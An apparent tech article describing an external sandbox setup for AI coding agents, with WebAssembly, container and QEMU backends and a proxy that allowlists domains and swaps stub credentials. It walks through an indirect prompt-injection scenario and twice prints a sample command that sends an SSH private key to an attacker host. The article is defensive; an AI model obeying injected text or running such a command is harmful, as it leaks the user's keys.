When you hook an AI agent up to your terminal, the biggest security hole isn't the model itself. The danger comes from third-party repos or docs that the agent reads at your request. And if you simply put the whole agent inside a container, you still have to pass it API keys—which the first malicious script can steal.
Simon Willison and Prime Radiant tackled this exact problem in their external sandbox pattern write-up. The agent itself stays on your host machine, while every shell command goes to an isolated environment over a single local API.
Where Attacks Come From and Why You Should Move the Terminal Outside
Suppose you ask an agent to inspect a PDF-parsing library from an open-source repo. Hidden inside a source file or README might be an indirect prompt injection. The agent reads the text, treats it like an order, and runs curl -d @~/.ssh/id_rsa attacker.com in your terminal.
If that terminal runs directly on your machine, the script reads keys from ~/.ssh/ or ~/.aws/, scans your local network, and ships the data out. Moving command execution into an external sandbox breaks that chain: the agent reasons on the host, while its commands only see the mounted working folder.
Three Engines Behind One API: From WebAssembly to QEMU
To avoid locking into one platform, the authors released three servers that share the same localhost interface. You can plug Claude Code, Codex, or Pi into any of them without modifying the agent:
- external-sandbox-v86 runs on Node.js and boots Alpine Linux inside WebAssembly via the v86 emulator, with no root access or hypervisor required;
- external-sandbox-container is written in Python and runs Alpine Linux in native Apple Containers;
- external-sandbox-quicksand uses Python with Microsoft's Quicksand library, which packages QEMU and Alpine Linux as a standard pip package.
Let's spin up the WebAssembly option without a local hypervisor. Two terminal commands start the server and point Claude Code to it:
npx @primeradiant/external-sandbox-v86 --port 8080 --mount ./workspace
export CLAUDE_CODE_SANDBOX_URL="http://localhost:8080"
The first line starts the sandbox on port 8080 and restricts access to ./workspace. The environment variable switches the agent over to that endpoint. Simplicity comes with a speed trade-off, though: pure WebAssembly in v86 is slower than native hardware, so heavy C++ builds or CPU-intensive tasks will lag. Meanwhile, external-sandbox-container only runs on Apple Silicon Macs.
Domain Allowlists and Secret Swapping in the Proxy
File isolation is only half the battle; networking is an easy place to slip up. An agent needs internet access to install PyPI packages or hit the GitHub API with an auth token. Pass a live key into the sandbox, and malicious code can grab it right away.
Prime Radiant's setup closes this gap with a filtering HTTP/HTTPS proxy that performs credential replacement. You define a domain allowlist—and you can update the rules on the fly via a local interface. The agent gets a fake stub instead of a real key, while the actual secret stays inside the gateway config. Here's how that proxy config looks for our Python library and GitHub test:
{
"proxy": {
"port": 8081,
"allowList": [
"pypi.org",
"files.pythonhosted.org",
"api.github.com"
],
"credentialReplacement": {
"GITHUB_TOKEN_STUB": "ghp_real_secret_token_never_revealed_to_llm"
}
}
}
The proxy listens on port 8081, allows traffic only to the three domains in allowList, and blocks local network scans. If code inside the sandbox still tries curl -d @~/.ssh/id_rsa attacker.com, it fails twice: ~/.ssh doesn't exist in ./workspace, and the gateway drops the connection to attacker.com. When talking to api.github.com, the proxy swaps GITHUB_TOKEN_STUB for the real token in the header without ever exposing it to the model. The only remaining risk the authors flag is DNS tunneling through an allowed host, so keep a close eye on open ports.
